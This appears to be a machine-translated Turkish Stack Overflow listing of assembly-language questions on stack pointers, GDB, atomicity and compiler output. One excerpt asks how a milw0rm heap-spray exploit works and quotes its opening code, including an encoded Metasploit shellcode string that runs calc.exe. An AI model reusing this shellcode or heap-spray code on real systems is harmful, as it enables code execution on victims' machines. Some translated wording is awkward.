«assembly» etiketlenmiş sorular

Montaj dili (asm) programlama soruları. Ayrıca, kullandığınız işlemci ve / veya talimat setinin yanı sıra montajcı ile ETİKET ETMEYİNİZDEN EMİN OLUN. UYARI: .NET derlemeleri için bunun yerine [.net-assembly] etiketini kullanın. Java ASM için, [java-bytecode-asm] etiketini kullanın.



8
Temel işaretçi ve yığın işaretçisi tam olarak nedir? Neye işaret ediyorlar?
DrawSquare () 'in DrawLine () öğesini çağırdığı wikipedia'dan gelen bu örneği kullanarak , (Bu şemada altta yüksek adresler ve üstte düşük adresler bulunduğunu unutmayın.) Kimse bana açıklayabilir neyi Could ebpve espbu bağlamda nelerdir? Gördüğüm kadarıyla, yığın işaretçisinin her zaman yığının üstünü ve temel işaretçiyi geçerli işlevin başlangıcını gösterdiğini söyleyebilirim? Ya …
225 c++  c  assembly  x86 

4
Neden işe yaramaz MOV talimatları getirmek x86_64 montajında ​​sıkı bir döngüyü hızlandırır?
Arka fon: Yerleşik montaj dili ile bazı Pascal kodlarını optimize ederken , gereksiz bir MOVtalimat fark ettim ve kaldırdım. Şaşırtıcı bir şekilde, gereksiz talimatları kaldırmak programımın yavaşlamasına neden oldu . Rasgele, işe yaramaz MOVtalimatlar eklemenin performansı daha da artırdığını buldum . Etki düzensizdir ve yürütme sırasına göre değişir: tek bir …

30
Meclis'te programlar neden daha sık yazılmıyor? [kapalı]
Şu anda olduğu gibi, bu soru Soru-Cevap formatımıza uygun değil. Yanıtların olgular, referanslar veya uzmanlık tarafından desteklenmesini bekliyoruz, ancak bu soru muhtemelen tartışma, tartışma, oylama veya genişletilmiş tartışma talep edecektir. Bu sorunun çözülebileceğini ve muhtemelen yeniden açılabileceğini düşünüyorsanız, yardım için yardım merkezini ziyaret edin . 7 yıl önce kapalı . …

24
Yürütülebilir dosyaları tersine mühendislikten korumak mı?
C / C ++ kodumu sökme ve tersine mühendislikten nasıl koruyacağımı düşünüyorum. Normalde kodumda kendimi asla bu davranışı gözardı ediyorum; ancak üzerinde çalıştığım protokol çeşitli insanların güvenliği için hiçbir zaman denetlenmemeli veya anlaşılabilir olmamalıdır. Şimdi bu benim için yeni bir konu ve internet tersine mühendislikten korunmak için gerçekten becerikli değil, …
210 c++  c  obfuscation  assembly 

3
GCC neden neredeyse aynı C kodu için bu kadar radikal olarak farklı bir montaj üretiyor?
Optimize edilmiş bir ftolişlev yazarken bazı garip davranışlar buldum GCC 4.6.1. Önce kodu göstereyim (açıklık için farklılıkları işaretledim): fast_trunc_one, C: int fast_trunc_one(int i) { int mantissa, exponent, sign, r; mantissa = (i & 0x07fffff) | 0x800000; exponent = 150 - ((i >> 23) & 0xff); sign = i & 0x80000000; …


7
Mevcut montaj talimatını GDB'de göster
GDB'de montaj düzeyinde hata ayıklama yapıyorum. GDB'yi geçerli montaj talimatını geçerli kaynak satırını gösterdiği gibi göstermesi için bir yol var mı? Her komuttan sonraki varsayılan çıktı şuna benzer: 0x0001433f 990 Foo::bar(p); Bu bana geçerli talimatın adresini veriyor, ancak disassembleşu anda hangi komutu yürüttüğümü görmek için çıktısına tekrar başvurmaya devam etmeliyim.
179 assembly  gdb 

13
Num ++ 'int num' için atomik olabilir mi?
Genel olarak int num, num++(veya ++num) için, bir okuma-değiştirme-yazma işlemi olarak, atomik değildir . Ancak sık sık derleyiciler, örneğin GCC , bunun için aşağıdaki kodu oluşturmak görüyorum ( burada deneyin ): 5. sıraya tekabül eden num++bir talimat olduğundan, bu durumda num++ bunun atomik olduğu sonucuna varabilir miyiz ? Ve eğer …


13
Günlük makineler nasıl programlanır?
Günlük makineler (aletler, dijital saatler, vb. Kadar bilgisayarlar ve mobil cihazlar değil) nasıl programlanır? Bir Coca-Cola satış makinesinin programlamasına ne tür bir kod girilir? Kahve makinem önceden programlanmış bir zamanı nasıl kabul eder ve saatler sonra, o saat geldiğinde bir fincan kahve pişirmeye başlar? Bu tür makinelerin içinde işletim sistemleri …


7
Bu milw0rm yığın püskürtme istismarı nasıl çalışır?
Genelde JavaScript kodunu okumakta zorluk çekmiyorum ama bunun için mantığı çözemiyorum. Kod, 4 gün önce yayınlanan bir güvenlik açığından alınmıştır. Milw0rm'de bulabilirsiniz . İşte kod: <html> <div id="replace">x</div> <script> // windows/exec - 148 bytes // http://www.metasploit.com // Encoder: x86/shikata_ga_nai // EXITFUNC=process, CMD=calc.exe var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580"); // ugly heap spray, …


Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.